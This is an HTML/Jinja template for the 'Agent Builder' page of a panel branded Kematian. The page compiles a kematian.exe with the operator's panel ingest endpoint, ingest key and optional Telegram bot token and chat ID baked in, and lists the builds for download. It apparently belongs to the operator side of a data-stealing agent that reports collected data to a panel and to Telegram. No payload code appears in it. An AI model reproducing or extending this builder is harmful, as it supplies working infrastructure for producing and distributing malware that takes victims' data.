96 lines
3.5 KiB
HTML
96 lines
3.5 KiB
HTML
{% extends "base.html" %}
|
||
{% block title %}Builder · Kematian{% endblock %}
|
||
{% block content %}
|
||
<div class="page-head">
|
||
<div>
|
||
<h1>Agent <span class="accent">Builder</span></h1>
|
||
<p class="muted">Build a fresh kematian.exe on the server with your panel + Telegram config baked in.</p>
|
||
</div>
|
||
</div>
|
||
|
||
{% if error %}
|
||
<div class="flash flash-error">{{ error }}</div>
|
||
{% endif %}
|
||
|
||
<form class="build-form" method="post" action="{{ url_for('build_start') }}">
|
||
<div class="form-card">
|
||
<h2>Target configuration</h2>
|
||
|
||
<label>Panel endpoint</label>
|
||
<input type="text" name="endpoint" value="{{ default_endpoint }}" placeholder="https://mypanel.com" autocomplete="off">
|
||
<p class="hint">Panelinizin adresi. `/api/ingest` otomatik eklenir.</p>
|
||
|
||
<label>Panel auth / ingest key</label>
|
||
<input type="text" name="auth" placeholder="kematian-ingest-key-CHANGE-ME" required autocomplete="off">
|
||
<p class="hint">Paneldeki <code>PANEL_INGEST_KEY</code> ile aynı olmalı.</p>
|
||
|
||
<div class="form-row">
|
||
<div>
|
||
<label>Telegram bot token <span class="muted">(opsiyonel)</span></label>
|
||
<input type="text" name="bot_token" placeholder="123456:ABC... . . ." autocomplete="off">
|
||
</div>
|
||
<div>
|
||
<label>Telegram chat ID <span class="muted">(opsiyonel)</span></label>
|
||
<input type="text" name="chat_id" placeholder="-100123456" autocomplete="off">
|
||
</div>
|
||
</div>
|
||
|
||
<label>Build name</label>
|
||
<input type="text" name="build_name" value="kematian" autocomplete="off" style="max-width:260px">
|
||
|
||
<button type="submit" class="btn btn-primary">Build agent</button>
|
||
</div>
|
||
</form>
|
||
|
||
{% if started %}
|
||
<div class="build-progress" data-build="{{ started }}">
|
||
<h2>Build <span class="mono">#{{ started }}</span></h2>
|
||
<div id="build-actions"></div>
|
||
</div>
|
||
{% endif %}
|
||
|
||
{% if builds %}
|
||
<h2 class="section-title">Recent builds</h2>
|
||
<div class="table-card">
|
||
<table>
|
||
<thead><tr><th>#</th><th>Status</th><th>File</th><th></th></tr></thead>
|
||
<tbody>
|
||
{% for id, j in builds.items() %}
|
||
<tr>
|
||
<td class="mono">#{{ id }}</td>
|
||
<td><span class="tag tag-{{ j['status'] }}">{{ j['status'] }}</span></td>
|
||
<td class="mono">{{ j['exe'] and os.path.basename(j['exe']) or '—' }}</td>
|
||
<td>{% if j['exe'] %}<a class="btn btn-ghost btn-sm" href="{{ url_for('build_download', filename=os.path.basename(j['exe'])) }}">Download</a>{% elif j['status'] == 'running' %}<button class="btn btn-ghost btn-sm" onclick="pollStatus({{ id }}, true)">Refresh</button>{% endif %}</td>
|
||
</tr>
|
||
{% endfor %}
|
||
</tbody>
|
||
</table>
|
||
</div>
|
||
{% endif %}
|
||
|
||
<script>
|
||
function pollStatus(id, isRow) {
|
||
fetch(`/build/status/${id}`)
|
||
.then(r => r.json())
|
||
.then(d => {
|
||
const actions = document.getElementById("build-actions");
|
||
if (!actions) return;
|
||
if (d.status === "done" && d.download) {
|
||
actions.innerHTML = `<span class="muted">Build finished.</span> <a class="btn btn-primary" href="${d.download}">Download agent</a>`;
|
||
} else if (d.status === "error") {
|
||
actions.innerHTML = `<span class="flash flash-error">Build failed: ${esc(d.error || "unknown")}</span>`;
|
||
} else {
|
||
actions.innerHTML = `<span class="muted">Building…</span>`;
|
||
}
|
||
});
|
||
}
|
||
function esc(s) {
|
||
return String(s).replace(/[&<>"']/g, c => ({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c]));
|
||
}
|
||
{% if started %}
|
||
setInterval(() => pollStatus({{ started }}), 2000);
|
||
pollStatus({{ started }});
|
||
{% endif %}
|
||
</script>
|
||
{% endblock %}
|